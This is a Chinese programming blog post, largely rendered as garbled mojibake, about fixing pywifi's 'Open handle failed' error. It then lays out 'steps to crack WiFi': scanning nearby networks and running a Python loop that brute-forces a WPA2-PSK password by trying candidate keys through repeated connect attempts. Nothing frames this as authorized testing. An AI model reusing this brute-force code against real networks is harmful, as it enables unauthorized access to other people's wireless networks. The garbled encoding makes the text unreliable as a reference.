Python pywifi ERROR Open handle failed問題及解決
Python pywifi ERROR Open handle failed
這個(gè)問題的網(wǎng)上的資料很少,可能是因?yàn)楹唵伟?。這里記錄下解決辦法。
直接上引發(fā)問題的代碼:
wifi = pywifi.PyWiFi() ? #定義接口操作 iface = wifi.interfaces()[0] ?#獲取無線網(wǎng)卡句柄
這兩行代碼實(shí)現(xiàn)了獲取系統(tǒng)的無線網(wǎng)卡句柄的功能??梢钥吹胶罄m(xù)的所有WIFI操作不管是連接還是端開都是在通過操作 iface 這個(gè)句柄整個(gè)句柄來完成的
但是切記,不管你是想去做暴力破解某個(gè)WIFI,還是想做什么WIFI連接測試,不要把這兩行放在循環(huán)體里。
在整個(gè)的循環(huán)過程中,保證這兩行代碼只會(huì)被執(zhí)行到一次。后續(xù)的動(dòng)作都只基于這一次獲取到的iface來執(zhí)行
如果要是多次執(zhí)行了這兩行代碼(尤其是放在了循環(huán)體里),在一定次數(shù)后,就會(huì)報(bào)ERROR Open handle failed的錯(cuò)誤。
Python語法之pywifi
pywifi安裝
- 拿到pywifi文件夾
- 如果有pip環(huán)境變量就直接cd進(jìn)入pywifi目錄
- 輸入pip install .
- 如果沒有環(huán)境變量就cd進(jìn)pip的目錄
- 然后pip install pywifi目錄
破解WiFi的步驟
1. 抓取無線網(wǎng)卡
pywifi.set_loglevel(logging.INFO) ? # 輸出日志 wifi = pywifi.PyWiFi() ?# 抓取WiFi接口 ifaceList = wifi.interfaces() ? # 抓取無線網(wǎng)卡列表 iface = ifaceList[0] # 如果有無線網(wǎng)卡第一個(gè)一般就是你要的
2. 找到WiFi列表
wifi = pywifi.PyWiFi() ?# 抓取WiFi接口 iface = wifi.interfaces()[0] ? # 抓取無線網(wǎng)卡列表 iface.scan() # 掃描 time.sleep(5) bsses = iface.scan_results() ? ?# 掃描到的結(jié)果 for pjwifi in bsses: ? ? print(pjwifi.ssid) ?# 所有WiFi名 ? ? print(pjwifi.bssid) # mac地址 ? ? print(pjwifi.signal) ? ?# 信號強(qiáng)度(值越大信號越強(qiáng))
3. 測試網(wǎng)卡狀態(tài)
iface = wifi.interfaces()[0] iface.status()--> const.IFACE_DISCONNECTED:0沒有連接 const.IFACE_INACTIVE:2沒有激活 const.IFACE_CONNECTED:1連接好了
4. 針對某一WiFi進(jìn)行密碼爆破
'''爆破密碼''' profile = pywifi.Profile() ?# 創(chuàng)建wifi鏈接文件 profile.ssid = wifiName ?# wifi名稱,不加會(huì)報(bào)錯(cuò) profile.auth = const.AUTH_ALG_OPEN ?# 網(wǎng)卡的開放 profile.akm.append(const.AKM_TYPE_WPA2PSK) ?# wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP ?# 加密單元 profile.key = pwd ?# 密碼 self.iface.remove_all_network_profiles() ?# 刪除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile) ?# 設(shè)定新的鏈接文件 self.iface.connect(tmp_profile) ?# 鏈接 time.sleep(5) connectStatus = self.iface.status() == const.IFACE_CONNECTED self.iface.disconnect() ?# 斷開連接 time.sleep(1)
總結(jié)
以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。
相關(guān)文章
Python基于Google?Bard實(shí)現(xiàn)交互式聊天機(jī)器人
這篇文章主要為大家介紹了Python基于Google?Bard實(shí)現(xiàn)交互式聊天機(jī)器人示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-03-03python中文分詞+詞頻統(tǒng)計(jì)的實(shí)現(xiàn)步驟
詞頻統(tǒng)計(jì)就是輸入一段句子或者一篇文章,然后統(tǒng)計(jì)句子中每個(gè)單詞出現(xiàn)的次數(shù),下面這篇文章主要給大家介紹了關(guān)于python中文分詞+詞頻統(tǒng)計(jì)的相關(guān)資料,需要的朋友可以參考下2022-06-06Python字典循環(huán)添加一鍵多值的用法實(shí)例
今天小編就為大家分享一篇Python字典循環(huán)添加一鍵多值的用法實(shí)例,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-01-01Pandas數(shù)據(jù)操作及數(shù)據(jù)分析常用技術(shù)介紹
Pandas是Python中用于數(shù)據(jù)處理和數(shù)據(jù)分析的庫,具有強(qiáng)大的數(shù)據(jù)操作和分析功能,包括數(shù)據(jù)清洗、轉(zhuǎn)換、篩選、聚合等。常用技術(shù)有數(shù)據(jù)讀取與寫入、數(shù)據(jù)索引、數(shù)據(jù)切片、數(shù)據(jù)合并、數(shù)據(jù)透視表、數(shù)據(jù)可視化等,適用于各種數(shù)據(jù)分析和機(jī)器學(xué)習(xí)任務(wù)2023-04-04Python字典推導(dǎo)式將cookie字符串轉(zhuǎn)化為字典解析
這篇文章主要介紹了Python字典推導(dǎo)式將cookie字符串轉(zhuǎn)化為字典解析,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-08-08pyqt4教程之實(shí)現(xiàn)windows窗口小示例分享
這篇文章主要介紹了pyqt4實(shí)現(xiàn)windows窗口小示例,需要的朋友可以參考下2014-03-03python實(shí)現(xiàn)簡單學(xué)生信息管理系統(tǒng)
這篇文章主要為大家詳細(xì)介紹了python簡單的學(xué)生信息管理系統(tǒng),文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2020-04-04